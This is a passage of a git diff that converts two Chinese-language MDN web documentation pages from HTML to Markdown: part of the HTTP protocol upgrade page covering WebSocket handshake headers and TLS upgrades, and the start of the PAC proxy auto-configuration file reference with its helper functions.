    +- `extensions` + - : 指需要 (或支持) 的扩展的逗号分隔列表。这些值来自[IANA WebSocket 扩展名注册表](https://www.iana.org/assignments/websocket/websocket.xml#extension-name)。带参数的扩展使用分号表示。 -

    例如:

    +例如: -
    Sec-WebSocket-Extensions: superspeed, colormode; depth=16
    +```plain +Sec-WebSocket-Extensions: superspeed, colormode; depth=16 +``` -

    {{HTTPHeader("Sec-WebSocket-Key")}}

    +#### {{HTTPHeader("Sec-WebSocket-Key")}} -

    Provides information to the server which is needed in order to confirm that the client is entitled to request an upgrade to WebSocket. This header can be used when insecure (HTTP) clients wish to upgrade, in order to offer some degree of protection against abuse. The value of the key is computed using an algorithm defined in the WebSocket specification, so this does not provide security. Instead, it helps to prevent non-WebSocket clients from inadvertently, or through misuse, requesting a WebSocket connection. In essence, then, this key simply confirms that "Yes, I really mean to open a WebSocket connection."

    +Provides information to the server which is needed in order to confirm that the client is entitled to request an upgrade to WebSocket. This header can be used when insecure (HTTP) clients wish to upgrade, in order to offer some degree of protection against abuse. The value of the key is computed using an algorithm defined in the WebSocket specification, so this _does not provide security_. Instead, it helps to prevent non-WebSocket clients from inadvertently, or through misuse, requesting a WebSocket connection. In essence, then, this key simply confirms that "Yes, I really mean to open a WebSocket connection." -

    This header is automatically added by clients that choose to use it; it cannot be added using the {{domxref("XMLHttpRequest.setRequestHeader()")}} method.

    +This header is automatically added by clients that choose to use it; it cannot be added using the {{domxref("XMLHttpRequest.setRequestHeader()")}} method. -
    Sec-WebSocket-Key: key
    +```plain +Sec-WebSocket-Key: key +``` -
    -
    key
    -
    The key for this request to upgrade. The client adds this if it wishes to do so, and the server will include in the response a key of its own, which the client will validate before delivering the upgrade reponse to you.
    -
    +- `key` + - : The key for this request to upgrade. The client adds this if it wishes to do so, and the server will include in the response a key of its own, which the client will validate before delivering the upgrade reponse to you. -

    The server's response's Sec-WebSocket-Accept header will have a value computed based upon the specified key.

    +The server's response's `Sec-WebSocket-Accept` header will have a value computed based upon the specified `key`. -

    {{HTTPHeader("Sec-WebSocket-Protocol")}}

    +#### {{HTTPHeader("Sec-WebSocket-Protocol")}} -

    The Sec-WebSocket-Protocol header specifies one or more WebSocket protocols that you wish to use, in order of preference. The first one that is supported by the server will be selected and returned by the server in a Sec-WebSocket-Protocol header included in the response. You can use this more than once in the header, as well; the result is the same as if you used a comma-delineated list of subprotocol identifiers in a single header.

    +The `Sec-WebSocket-Protocol` header specifies one or more WebSocket protocols that you wish to use, in order of preference. The first one that is supported by the server will be selected and returned by the server in a `Sec-WebSocket-Protocol` header included in the response. You can use this more than once in the header, as well; the result is the same as if you used a comma-delineated list of subprotocol identifiers in a single header. -
    Sec-WebSocket-Protocol: subprotocols
    +```plain +Sec-WebSocket-Protocol: subprotocols +``` -
    -
    subprotocols
    -
    A comma-separated list of subprotocol names, in the order of preference. The subprotocols may be selected from the IANA WebSocket Subprotocol Name Registry or may be a custom name jointly understood by the client and the server.
    -
    +- `subprotocols` + - : A comma-separated list of subprotocol names, in the order of preference. The subprotocols may be selected from the [IANA WebSocket Subprotocol Name Registry](https://www.iana.org/assignments/websocket/websocket.xml#subprotocol-name) or may be a custom name jointly understood by the client and the server. -

    {{HTTPHeader("Sec-WebSocket-Version")}}

    +#### {{HTTPHeader("Sec-WebSocket-Version")}} -
    Request header
    +##### Request header -

    Specifies the WebSocket protocol version the client wishes to use, so the server can confirm whether or not that version is supported on its end.

    +Specifies the WebSocket protocol version the client wishes to use, so the server can confirm whether or not that version is supported on its end. -
    Sec-WebSocket-Version: version
    +```plain +Sec-WebSocket-Version: version +``` -
    -
    version
    -
    The WebSocket protocol version the client wishes to use when communicating with the server. This number should be the most recent version possible listed in the IANA WebSocket Version Number Registry. The most recent final version of the WebSocket protocol is version 13.
    -
    +- `version` + - : The WebSocket protocol version the client wishes to use when communicating with the server. This number should be the most recent version possible listed in the [IANA WebSocket Version Number Registry](https://www.iana.org/assignments/websocket/websocket.xml#version-number). The most recent final version of the WebSocket protocol is version 13. -
    Response header
    +##### Response header -

    If the server can't communicate using the specified version of the WebSocket protocol, it will respond with an error (such as 426 Upgrade Required) that includes in its headers a Sec-WebSocket-Version header with a comma-separated list of the supported protocol versions. If the server does support the requested protocol version, no Sec-WebSocket-Version header is included in the response.

    +If the server can't communicate using the specified version of the WebSocket protocol, it will respond with an error (such as 426 Upgrade Required) that includes in its headers a `Sec-WebSocket-Version` header with a comma-separated list of the supported protocol versions. If the server does support the requested protocol version, no `Sec-WebSocket-Version` header is included in the response. -
    Sec-WebSocket-Version: supportedVersions
    +```plain +Sec-WebSocket-Version: supportedVersions +``` -
    -
    supportedVersions
    -
    A comma-delineated list of the WebSocket protocol versions supported by the server.
    -
    +- `supportedVersions` + - : A comma-delineated list of the WebSocket protocol versions supported by the server. -

    Response-only headers

    +### Response-only headers -

    The response from the server may include these.

    +The response from the server may include these. -

    {{HTTPHeader("Sec-WebSocket-Accept")}}

    +#### {{HTTPHeader("Sec-WebSocket-Accept")}} -

    Included in the response message from the server during the opening handshake process when the server is willing to initiate a WebSocket connection. It will appear no more than once in the repsonse headers.

    +Included in the response message from the server during the opening handshake process when the server is willing to initiate a WebSocket connection. It will appear no more than once in the repsonse headers. -
    Sec-WebSocket-Accept: hash
    +```plain +Sec-WebSocket-Accept: hash +``` -
    -
    hash
    -
    If a Sec-WebSocket-Key header was provided, the value of this header is computed by taking the value of the key, concatenating the string "258EAFA5-E914-47DA-95CA-C5AB0DC85B11" to it, taking the SHA-1 hash of that concatenated string, resulting in a 20-byte value. That value is then base64 encoded to obtain the value of this property.
    -
    +- `hash` + - : If a `Sec-WebSocket-Key` header was provided, the value of this header is computed by taking the value of the key, concatenating the string "258EAFA5-E914-47DA-95CA-C5AB0DC85B11" to it, taking the [SHA-1](https://zh.wikipedia.org/wiki/SHA-1) hash of that concatenated string, resulting in a 20-byte value. That value is then [base64](/zh-CN/docs/Web/API/WindowBase64/Base64_encoding_and_decoding) encoded to obtain the value of this property. -

    Client-initiated upgrade to HTTP over TLS

    +### Client-initiated upgrade to HTTP over TLS -

    You can also upgrade an HTTP/1.1 connection to TLS/1.0. The main advantages to this are that you can avoid using URL redirection from "http://" to "https://" on the server and you can easily use TLS on virtual hosts. This may, however, introduce problems with proxy servers.

    +You can also upgrade an HTTP/1.1 connection to TLS/1.0. The main advantages to this are that you can avoid using URL redirection from "http\://" to "https\://" on the server and you can easily use TLS on virtual hosts. This may, however, introduce problems with proxy servers. -

    Upgrading an HTTP connection to use {{Glossary("TLS")}} uses the {{HTTPHeader("Upgrade")}} header with the token "TLS/1.0". If the switch is made successfully, the original request (which included Upgrade) is completed as normal, but on the TLS connection.

    +Upgrading an HTTP connection to use {{Glossary("TLS")}} uses the {{HTTPHeader("Upgrade")}} header with the token `"TLS/1.0"`. If the switch is made successfully, the original request (which included `Upgrade`) is completed as normal, but on the TLS connection. -

    The request to TLS can be made either optionally or mandatorily.

    +The request to TLS can be made either optionally or mandatorily. -

    Optional upgrade

    +#### Optional upgrade -

    To upgrade to TLS optionally (that is, allowing the connection to continue in cleartext if the upgrade to TLS fails), you simply use the Upgrade and {{HTTPHeader("Connection")}} headers as expected. For example, given the original request:

    +To upgrade to TLS optionally (that is, allowing the connection to continue in cleartext if the upgrade to TLS fails), you simply use the `Upgrade` and {{HTTPHeader("Connection")}} headers as expected. For example, given the original request: -
    GET http://destination.server.ext/secretpage.html HTTP/1.1
    +```plain
    +GET http://destination.server.ext/secretpage.html HTTP/1.1
     Host: destination.server.ext
     Upgrade: TLS/1.0
    -Connection: Upgrade
    +Connection: Upgrade +``` -

    If the server does not support TLS upgrade, or is unable to upgrade to TLS at the time, it responds with a standard HTTP/1.1 response, such as:

    +If the server _does not_ support TLS upgrade, or is unable to upgrade to TLS at the time, it responds with a standard HTTP/1.1 response, such as: -
    HTTP/1.1 200 OK
    +```plain
    +HTTP/1.1 200 OK
     Date: Thu, 17 Aug 2017 21:07:44 GMT
     Server: Apache
     Last-Modified: Thu, 17 Aug 2017 08:30:15 GMT
     Content-Type: text/html; charset=utf-8
     Content-Length: 31374
     
    -<html>
    +
       ...
    -</html>
    -
    + +``` -

    If the server does support TLS upgrade and wishes to permit the upgrade, it responds with the "101 Switching Protocols" response code, like this:

    +If the server _does_ support TLS upgrade and wishes to permit the upgrade, it responds with the `"101 Switching Protocols"` response code, like this: -
    HTTP/1.1 101 Switching Protocols
    -Upgrade: TLS/1.0, HTTP/1.1
    +```plain +HTTP/1.1 101 Switching Protocols +Upgrade: TLS/1.0, HTTP/1.1 +``` -

    Once the TLS handshake is complete, the original request will be responded to as normal.

    +Once the TLS handshake is complete, the original request will be responded to as normal. -

    Mandatory upgrade

    +#### Mandatory upgrade -

    To request a mandatory upgrade to TLS—that is, to upgrade and fail the connection if the upgrade is not successful—your first request must be an {{HTTPMethod("OPTIONS")}} request, like this:

    +To request a mandatory upgrade to TLS—that is, to upgrade and fail the connection if the upgrade is not successful—your first request must be an {{HTTPMethod("OPTIONS")}} request, like this: -
    OPTIONS * HTTP/1.1
    +```plain
    +OPTIONS * HTTP/1.1
     Host: destination.server.ext
     Upgrade: TLS/1.0
    -Connection: Upgrade
    +Connection: Upgrade +``` -

    If the upgrade to TLS succeeds, the server will respond with "101 Switching Protocols" as described in the previous section. If the upgrade fails, the HTTP/1.1 connection will fail.

    +If the upgrade to TLS succeeds, the server will respond with `"101 Switching Protocols"` as described in the previous section. If the upgrade fails, the HTTP/1.1 connection will fail. -

    Server-initiated upgrade to TLS

    +### Server-initiated upgrade to TLS -

    This works roughly the same way as a client-initiated upgrade; an optional upgrade is requested by adding the {{HTTPHeader("Upgrade")}} header to any message. A mandatory upgrade, though, works slightly differently, in that it requests the upgrade by replying to a message it receives with the {{HTTPStatus(426)}} status code, like this:

    +This works roughly the same way as a client-initiated upgrade; an optional upgrade is requested by adding the {{HTTPHeader("Upgrade")}} header to any message. A mandatory upgrade, though, works slightly differently, in that it requests the upgrade by replying to a message it receives with the {{HTTPStatus(426)}} status code, like this: -
    HTTP/1.1 426 Upgrade Required
    +```plain
    +HTTP/1.1 426 Upgrade Required
     Upgrade: TLS/1.1, HTTP/1.1
     Connection: Upgrade
     
    -<html>
    +
     ... Human-readable HTML page describing why the upgrade is required
         and what to do if this text is seen ...
    -</html>
    - -

    If the client receiving the "426 Upgrade Required" response is willing and able to upgrade to TLS, it should then start the same process covered above under Client-initiated upgrade to HTTP over TLS.

    - -

    References

    - -
      -
    • WebSocket API
    • -
    • HTTP
    • -
    • Specifications and RFCs: -
        -
      • {{RFC(2616)}}
      • -
      • {{RFC(6455)}}
      • -
      • {{RFC(2817)}}
      • -
      • {{RFC(7540)}}
      • -
      -
    • -
    + +``` + +If the client receiving the `"426 Upgrade Required"` response is willing and able to upgrade to TLS, it should then start the same process covered above under [Client-initiated upgrade to HTTP over TLS](#client-initiated_upgrade_to_http_over_tls). + +## References + +- [WebSocket API](/zh-CN/docs/Web/API/WebSocket) +- [HTTP](/zh-CN/docs/Web/HTTP) +- Specifications and RFCs: + + - {{RFC(2616)}} + - {{RFC(6455)}} + - {{RFC(2817)}} + - {{RFC(7540)}} diff --git a/files/zh-cn/web/http/proxy_servers_and_tunneling/proxy_auto-configuration_pac_file/index.md b/files/zh-cn/web/http/proxy_servers_and_tunneling/proxy_auto-configuration_pac_file/index.md index 989986a8655648..4afe726fc68e78 100644 --- a/files/zh-cn/web/http/proxy_servers_and_tunneling/proxy_auto-configuration_pac_file/index.md +++ b/files/zh-cn/web/http/proxy_servers_and_tunneling/proxy_auto-configuration_pac_file/index.md @@ -4,469 +4,463 @@ slug: Web/HTTP/Proxy_servers_and_tunneling/Proxy_Auto-Configuration_PAC_file translation_of: Web/HTTP/Proxy_servers_and_tunneling/Proxy_Auto-Configuration_(PAC)_file original_slug: Web/HTTP/Proxy_servers_and_tunneling/Proxy_Auto-Configuration_(PAC)_file --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    代理自动配置(PAC)文件是一个 JavaScript 脚本,其核心是一个 JavaScript 函数,用来决定网页浏览请求(HTTP、HTTPS,和 FTP)应当直连目标地址,还是被转发给一个网页代理服务器并通过代理连接。PAC 文件中的核心 JavaScript 函数通常是这样定义的:

    +**代理自动配置(PAC)**文件是一个 JavaScript 脚本,其核心是一个 JavaScript 函数,用来决定网页浏览请求(HTTP、HTTPS,和 FTP)应当直连目标地址,还是被转发给一个网页代理服务器并通过代理连接。PAC 文件中的核心 JavaScript 函数通常是这样定义的: -
    function FindProxyForURL(url, host) {
    +```js
    +function FindProxyForURL(url, host) {
       // ...
    -}
    +} +``` + +## 语法 + +```plain +function FindProxyForURL(url, host) +``` + +### 参数 + +- `url` + - : 要访问的 URL。URL 中类似 `https://` 这样的的路径和查询组件已被去除。在 Chrome 浏览器(版本 52 至 73)中,你可以通过设置 `PacHttpsUrlStrippingEnabled` 为 `false` 来禁止这种行为,或者以 `--unsafe-pac-url` 命令行参数启动(自 Chrome 74 起,仅命令行参数有效,且在 Chrome 75 及之后的版本中无法禁用这种行为;至于 Chrome 81,路径剥离对 HTTP URL 不适用,但有意改变这一行为以适应 HTTPS);在 Firefox 浏览器中,对应的选项是 `network.proxy.autoconfig_url.include_path`。 +- `host` + - : 从 URL 中提取得到的主机名。这只是为了方便;它与 `://` 之后到第一个 `:` 或 `/` 之前的字符串相同。端口号不包括在此参数中,必要时可以自行从 URL 中提取。 + +## 描述 + +返回一个描述了代理设置的字符串。字符串的格式按照返回值格式进行定义。 + +### 返回值格式 + +- `FindProxyForURL()` 函数返回一个字符串 +- 如果那个字符串为空,则不使用任何代理 +- 字符串中可以包含如下任意数量的“代理配置块”(building blocks),用分号分隔: + + + +- `DIRECT` + - : 直连,不经过任何代理 +- `PROXY host:port` + - : HTTP 代理 +- `SOCKS host:port` + - : SOCKS 代理 + +最近版本的 Firefox 同时还支持: + +- `HTTP host:port` + - : HTTP 代理 +- `HTTPS host:port` + - : HTTPS 代理 +- `SOCKS4 host:port` + + `SOCKS5 host:port` + + - : SOCKS 代理(同时指定 SOCKS 版本) + +如果有多个使用分号分隔的代理配置,将使用最左边的配置,除非 Firefox 无法与其中指定的代理服务器建立连接。在这种情况下,将使用下一个配置,等等。 + +30 分钟后,浏览器将自动重试之前没有响应的代理。下一次尝试则将在一小时后开始,再下一次是一个半小时。每次尝试后,间隔会增加 30 分钟。 + +如果所有代理都挂了,并且最后没有指定直连配置项(`DIRECT`),浏览器将询问是否应该暂时忽略代理,并尝试直接连接。20 分钟后,浏览器会再次询问是否应该重试代理,40 分钟后会再问一次。每次询问后,间隔会增加 20 分钟。 + +#### 例子 + +- `PROXY w3proxy.netscape.com:8080; PROXY mozilla.netscape.com:8081` + - : 主代理是 `w3proxy:8080`;如果它出现故障,则使用 `mozilla:8081`,直到主代理恢复。 +- `PROXY w3proxy.netscape.com:8080; PROXY mozilla.netscape.com:8081; DIRECT` + - : 和上面的基本一样,但如果两个代理都挂了,则自动改为直连。(在上面的例子中,Netscape 浏览器将询问用户是否要改用直接连接;在本例中,则不需要用户干预。) +- `PROXY w3proxy.netscape.com:8080; SOCKS socks:1080` + - : 如果主代理出现问题,则使用 SOCKS 连接。 + +自动配置文件应当被保存为一个以 .pac 作为文件拓展名的文件,比如: + +```plain +proxy.pac +``` + +其 MIME 类型应被设置为: + +```plain +application/x-ns-proxy-autoconfig +``` + +接下来,你应当配置你的服务器,让文件拓展名 .pac 映射到如上所示的 MIME 类型。 + +> **备注:** PAC 文件的 JavaScript 代码应该总是单独保存到 .pac 文件中,而不是嵌入到 HTML 文件或是任何其他文件之中。 +> +> - 本文档末尾的示例都是完整的,使用时不需要增加任何其它代码,直接保存应用即可。(当然,你需要改成你自己的域名/子域) + +## 预定义的函数与环境 + +这些函数可以在 PAC 文件中使用: + +- 基于主机名的判断函数 + + - [`isPlainHostName()`](#isPlainHostName) + - [`dnsDomainIs()`](#dnsDomainIs) + - [`localHostOrDomainIs()`](#localHostOrDomainIs) + - [`isResolvable()`](#isResolvable) + - [`isInNet()`](#isInNet) + +- 和代理相关的功能函数 + + - [`dnsResolve()`](#dnsResolve) + - [`convert_addr()`](#convert_addr) + - [`myIpAddress()`](#myIpAddress) + - [`dnsDomainLevels()`](#dnsDomainLevels) + +- 基于 URL 或主机名的判断函数 + + - [`shExpMatch()`](<#shExpMatch(str, shexp)>) + +- 基于时间的判断函数 + + - [`weekdayRange()`](#weekdayRange) + - [`dateRange()`](#dateRange) + - [`timeRange()`](#timeRange) -

    语法

    +- 日志记录功能函数 -
    function FindProxyForURL(url, host)
    + - [`alert()`](/en-US/docs/Web/API/Window/alert) -

    参数

    - -
    -
    url
    -
    要访问的 URL。URL 中类似 https:// 这样的的路径和查询组件已被去除。在 Chrome 浏览器(版本 52 至 73)中,你可以通过设置 PacHttpsUrlStrippingEnabledfalse 来禁止这种行为,或者以 --unsafe-pac-url 命令行参数启动(自 Chrome 74 起,仅命令行参数有效,且在 Chrome 75 及之后的版本中无法禁用这种行为;至于 Chrome 81,路径剥离对 HTTP URL 不适用,但有意改变这一行为以适应 HTTPS);在 Firefox 浏览器中,对应的选项是 network.proxy.autoconfig_url.include_path
    -
    host
    -
    从 URL 中提取得到的主机名。这只是为了方便;它与 :// 之后到第一个 :/ 之前的字符串相同。端口号不包括在此参数中,必要时可以自行从 URL 中提取。
    -
    - -

    描述

    - -

    返回一个描述了代理设置的字符串。字符串的格式按照返回值格式进行定义。

    - -

    返回值格式

    - -
      -
    • FindProxyForURL() 函数返回一个字符串
    • -
    • 如果那个字符串为空,则不使用任何代理
    • -
    • 字符串中可以包含如下任意数量的“代理配置块”(building blocks),用分号分隔:
    • -
    - -
    -
    DIRECT
    -
    直连,不经过任何代理
    -
    PROXY host:port
    -
    HTTP 代理
    -
    SOCKS host:port
    -
    SOCKS 代理
    -
    - -

    最近版本的 Firefox 同时还支持:

    - -
    -
    HTTP host:port
    -
    HTTP 代理
    -
    HTTPS host:port
    -
    HTTPS 代理
    -
    SOCKS4 host:port
    -
    SOCKS5 host:port
    -
    SOCKS 代理(同时指定 SOCKS 版本)
    -
    - -

    如果有多个使用分号分隔的代理配置,将使用最左边的配置,除非 Firefox 无法与其中指定的代理服务器建立连接。在这种情况下,将使用下一个配置,等等。

    - -

    30 分钟后,浏览器将自动重试之前没有响应的代理。下一次尝试则将在一小时后开始,再下一次是一个半小时。每次尝试后,间隔会增加 30 分钟。

    - -

    如果所有代理都挂了,并且最后没有指定直连配置项(DIRECT),浏览器将询问是否应该暂时忽略代理,并尝试直接连接。20 分钟后,浏览器会再次询问是否应该重试代理,40 分钟后会再问一次。每次询问后,间隔会增加 20 分钟。

    - -

    例子

    - -
    -
    PROXY w3proxy.netscape.com:8080; PROXY mozilla.netscape.com:8081
    -
    主代理是 w3proxy:8080;如果它出现故障,则使用 mozilla:8081,直到主代理恢复。
    -
    PROXY w3proxy.netscape.com:8080; PROXY mozilla.netscape.com:8081; DIRECT
    -
    和上面的基本一样,但如果两个代理都挂了,则自动改为直连。(在上面的例子中,Netscape 浏览器将询问用户是否要改用直接连接;在本例中,则不需要用户干预。)
    -
    PROXY w3proxy.netscape.com:8080; SOCKS socks:1080
    -
    如果主代理出现问题,则使用 SOCKS 连接。
    -
    - -

    自动配置文件应当被保存为一个以 .pac 作为文件拓展名的文件,比如:

    - -
    proxy.pac
    - -

    其 MIME 类型应被设置为:

    - -
    application/x-ns-proxy-autoconfig
    - -

    接下来,你应当配置你的服务器,让文件拓展名 .pac 映射到如上所示的 MIME 类型。

    - -
    -

    注意:

    - -
      -
    • PAC 文件的 JavaScript 代码应该总是单独保存到 .pac 文件中,而不是嵌入到 HTML 文件或是任何其他文件之中。
    • -
    • 本文档末尾的示例都是完整的,使用时不需要增加任何其它代码,直接保存应用即可。(当然,你需要改成你自己的域名/子域)
    • -
    -
    - -

    预定义的函数与环境

    - -

    这些函数可以在 PAC 文件中使用:

    - - - -
    -

    注意: pactester ( pacparser 的一部分) 可以用来检测语法是否符合要求,使用方法如下:

    - -
      -
    • PAC 文件保存为 proxy.pac
    • -
    • 命令行输入:pactester -p ~/pacparser-master/tests/proxy.pac -u http://www.mozilla.org。 -
        -
      • 该命令中, host 参数为 www.mozilla.orgurl 参数为http://www.mozilla.org
      • -
      -
    • -
    -
    - -

    isPlainHostName()

    - -

    语法

    - -
    isPlainHostName(host)
    - -

    参数

    - -
    -
    host
    -
    从 URL 中得到的主机名(端口除外)。
    -
    - -

    描述

    - -

    当且仅当主机名中没有域名时为真(没有分隔域名的点)。

    - -

    例子

    - -
    isPlainHostName("www.mozilla.org") // false
    +- 同时,还定义了一个关联数组(associative array),因为 JavaScript 目前无法自行定义它们:
    +
    +  - `ProxyConfig.bindings `{{Deprecated_Inline}}
    +
    +> **备注:** pactester ( [pacparser ](https://github.com/pacparser/pacparser)的一部分) 可以用来检测语法是否符合要求,使用方法如下:
    +>
    +> - PAC 文件保存为 `proxy.pac`
    +> - 命令行输入:`pactester -p ~/pacparser-master/tests/proxy.pac -u http://www.mozilla.org。`
    +>
    +>   - 该命令中, `host` 参数为 `www.mozilla.org` , `url` 参数为`http://www.mozilla.org`。
    +
    +### isPlainHostName()
    +
    +#### 语法
    +
    +```plain
    +isPlainHostName(host)
    +```
    +
    +#### 参数
    +
    +- host
    +  - : 从 URL 中得到的主机名(端口除外)。
    +
    +#### 描述
    +
    +当且仅当主机名中没有域名时为真(没有分隔域名的点)。
    +
    +#### 例子
    +
    +```js
    +isPlainHostName("www.mozilla.org") // false
     isPlainHostName("www") // true
    -
    +``` -

    dnsDomainIs()

    +### dnsDomainIs() -

    语法

    +#### 语法 -
    dnsDomainIs(host, domain)
    +```plain +dnsDomainIs(host, domain) +``` -

    参数

    +#### 参数 -
    -
    host
    -
    从 URL 中得到的主机名。
    -
    domain
    -
    域名/部分域名
    -
    +- host + - : 从 URL 中得到的主机名。 +- domain + - : 域名/部分域名 -

    描述

    +#### 描述 -

    如果匹配,返回 true。

    +如果匹配,返回 true。 -

    例子

    +#### 例子 -
    dnsDomainIs("www.mozilla.org", ".mozilla.org") // true
    +```js
    +dnsDomainIs("www.mozilla.org", ".mozilla.org") // true
     dnsDomainIs("www", ".mozilla.org") // false
    -
    +``` -

    localHostOrDomainIs()

    +### localHostOrDomainIs() -

    语法

    +#### 语法 -
    localHostOrDomainIs(host, hostdom)
    +```plain +localHostOrDomainIs(host, hostdom) +``` -

    参数

    +#### 参数 -
    -
    host
    -
    从 URL 中得到的主机名。
    -
    hostdom
    -
    完整域名
    -
    +- host + - : 从 URL 中得到的主机名。 +- hostdom + - : 完整域名 -

    描述

    +#### 描述 -

    完整域名匹配或主机名(如www)匹配时返回 true。

    +完整域名匹配或主机名(如`www`)匹配时返回 true。 -

    例子

    +#### 例子 -
    localHostOrDomainIs("www.mozilla.org" , "www.mozilla.org") // true (exact match)
    +```js
    +localHostOrDomainIs("www.mozilla.org" , "www.mozilla.org") // true (exact match)
     localHostOrDomainIs("www"             , "www.mozilla.org") // true (hostname match, domain not specified)
     localHostOrDomainIs("www.google.com"  , "www.mozilla.org") // false (domain name mismatch)
    -localHostOrDomainIs("home.mozilla.org", "www.mozilla.org") // false (hostname mismatch)
    +localHostOrDomainIs("home.mozilla.org", "www.mozilla.org") // false (hostname mismatch) +``` -

    isResolvable()

    +### isResolvable() -

    语法

    +#### 语法 -
    isResolvable(host)
    +```plain +isResolvable(host) +``` -

    参数

    +#### 参数 -
    -
    host
    -
    从 URL 中得到的主机名。
    -
    +- host + - : 从 URL 中得到的主机名。 -

    尝试解析主机名。如果成功,则返回 true。

    +尝试解析主机名。如果成功,则返回 true。 -

    例子:

    +#### 例子: -
    isResolvable("www.mozilla.org") // true
    -
    +```js +isResolvable("www.mozilla.org") // true +``` -

    isInNet()

    +### isInNet() -

    语法

    +#### 语法 -
    isInNet(host, pattern, mask)
    +```plain +isInNet(host, pattern, mask) +``` -

    参数

    +#### 参数 -
    -
    host
    -
    一个 DNS 主机名,或者一个 IP 地址。如果传入了主机名,则会被此函数解析为 IP 地址,再进行判断。
    -
    pattern
    -
    点号(.)分隔的 IP 地址。
    -
    mask
    -
    子网掩码,0 代表忽略,255 代表完全匹配。
    -
    +- host + - : 一个 DNS 主机名,或者一个 IP 地址。如果传入了主机名,则会被此函数解析为 IP 地址,再进行判断。 +- pattern + - : 点号(.)分隔的 IP 地址。 +- mask + - : 子网掩码,0 代表忽略,255 代表完全匹配。 -

    仅在 host 属于由 pattern 和 mask 指定的 ip 地址段时返回 true。

    +仅在 host 属于由 pattern 和 mask 指定的 ip 地址段时返回 true。 -

    Pattern and mask specification is done the same way as for SOCKS configuration.

    +Pattern and mask specification is done the same way as for SOCKS configuration. -

    例子:

    +#### 例子: -
    function alert_eval(str) { alert(str + ' is ' + eval(str)) }
    +```js
    +function alert_eval(str) { alert(str + ' is ' + eval(str)) }
     function FindProxyForURL(url, host) {
       alert_eval('isInNet(host, "63.245.213.24", "255.255.255.255")')
       // "PAC-alert: isInNet(host, "63.245.213.24", "255.255.255.255") is true"
     }
    -
    +``` -

    dnsResolve()

    +### dnsResolve() -
    dnsResolve(host)
    +```plain +dnsResolve(host) +``` -

    参数

    +#### 参数 -
    -
    host
    -
    要解析的主机名。
    -
    +- host + - : 要解析的主机名。 -

    将给定的 DNS 主机名解析为 IP 地址并返回为标准格式的 IP 地址字符串。

    +将给定的 DNS 主机名解析为 IP 地址并返回为标准格式的 IP 地址字符串。 -

    例子

    +#### 例子 -
    dnsResolve("www.mozilla.org"); // returns the string "104.16.41.2"
    +```js +dnsResolve("www.mozilla.org"); // returns the string "104.16.41.2" +``` -

    convert_addr()

    +### convert_addr() -

    语法

    +#### 语法 -
    convert_addr(ipaddr)
    +```plain +convert_addr(ipaddr) +``` -

    参数

    +#### 参数 -
    -
    ipaddr
    -
    点号(.)分隔的 IP 地址或子网掩码。
    -
    +- ipaddr + - : 点号(.)分隔的 IP 地址或子网掩码。 -

    将 IP 地址转换为 32 位整数地址。

    +将 IP 地址转换为 32 位整数地址。 -

    例子

    +#### 例子 -
    convert_addr("104.16.41.2"); // returns the decimal number 1745889538
    +```js +convert_addr("104.16.41.2"); // returns the decimal number 1745889538 +``` -

    myIpAddress()

    +### myIpAddress() -

    语法

    +#### 语法 -
    myIpAddress()
    +```plain +myIpAddress() +``` -

    参数

    +#### 参数 -

    (无)

    +**(无)** -

    获取当前 Firefox 所在设备的 IP 地址,并返回为标准格式的 IP 地址字符串。

    +获取当前 Firefox 所在设备的 IP 地址,并返回为标准格式的 IP 地址字符串。 -
    -

    myIpAddress() 返回与 nslookup localhost 命令在 Linux 主机上的执行结果相同的 IP 地址。不会返回公网 IP 地址。

    -
    +> **警告:** myIpAddress() 返回与 **`nslookup localhost` **命令在 Linux 主机上的执行结果相同的 IP 地址。不会返回公网 IP 地址。 -

    例子

    +#### 例子 -
    myIpAddress() //returns the string "127.0.1.1" if you were running Firefox on that localhost
    +```js +myIpAddress() //returns the string "127.0.1.1" if you were running Firefox on that localhost +``` -

    dnsDomainLevels()

    +### dnsDomainLevels() -

    语法

    +#### 语法 -
    dnsDomainLevels(host)
    +```plain +dnsDomainLevels(host) +``` -

    参数

    +#### 参数 -
    -
    host
    -
    从 URL 中得到的主机名。
    -
    +- host + - : 从 URL 中得到的主机名。 -

    返回主机名中 DNS 域名级别的整数数量(域名中包含点的个数)。

    +返回主机名中 DNS 域名级别的整数数量(域名中包含点的个数)。 -

    例子:

    +#### 例子: -
    dnsDomainLevels("www");             // 0
    +```js
    +dnsDomainLevels("www");             // 0
     dnsDomainLevels("mozilla.org");     // 1
     dnsDomainLevels("www.mozilla.org"); // 2
    -
    +``` + +### shExpMatch() -

    shExpMatch()

    +#### 语法 -

    语法

    +```plain +shExpMatch(str, shexp) +``` -
    shExpMatch(str, shexp)
    +#### 参数 -

    参数

    +- str + - : 任何要比较的字符串(如 URL 或主机名)。 +- shexp + - : 要用来对比的 Shell 表达式。 -
    -
    str
    -
    任何要比较的字符串(如 URL 或主机名)。
    -
    shexp
    -
    要用来对比的 Shell 表达式。
    -
    +如果字符串匹配指定的 Shell 表达式则返回 true。 -

    如果字符串匹配指定的 Shell 表达式则返回 true。

    +**注意,本函数接收 shell glob 表达式而非正则表达式。**`*` 和 `?` 始终被支持,`[characters]` 和 `[^characters]` 只在包括 Firefox 在内的某些实现上被支持。这主要是由于 glob 表达式在内部被翻译为正则表达式。如要使用正则表达式语法,请直接使用 RegExp 类。 -

    注意,本函数接收 shell glob 表达式而非正则表达式。*? 始终被支持,[characters][^characters] 只在包括 Firefox 在内的某些实现上被支持。这主要是由于 glob 表达式在内部被翻译为正则表达式。如要使用正则表达式语法,请直接使用 RegExp 类。

    +#### 例子 -

    例子

    +```js +shExpMatch("http://home.netscape.com/people/ari/index.html" , "*/ari/*"); // returns true +shExpMatch("http://home.netscape.com/people/montulli/index.html", "*/ari/*"); // returns false +``` -
    shExpMatch("http://home.netscape.com/people/ari/index.html"     , "*/ari/*"); // returns true
    -shExpMatch("http://home.netscape.com/people/montulli/index.html", "*/ari/*"); // returns false
    +### weekdayRange() -

    weekdayRange()

    +#### 语法 -

    语法

    +```plain +weekdayRange(wd1, wd2, [gmt]) +``` -
    weekdayRange(wd1, wd2, [gmt])
    +> **备注:** (Before Firefox 49) `wd1` must be less than `wd2` if you want the function to evaluate these parameters as a range. See the warning below. -
    -

    注意: (Before Firefox 49) wd1 must be less than wd2 if you want the function to evaluate these parameters as a range. See the warning below.

    -
    +#### 参数 -

    参数

    +- wd1 和 wd2 + - : One of the ordered weekday strings: +- ```plain + "SUN"|"MON"|"TUE"|"WED"|"THU"|"FRI"|"SAT" + ``` -
    -
    wd1 和 wd2
    -
    One of the ordered weekday strings:
    -
    -
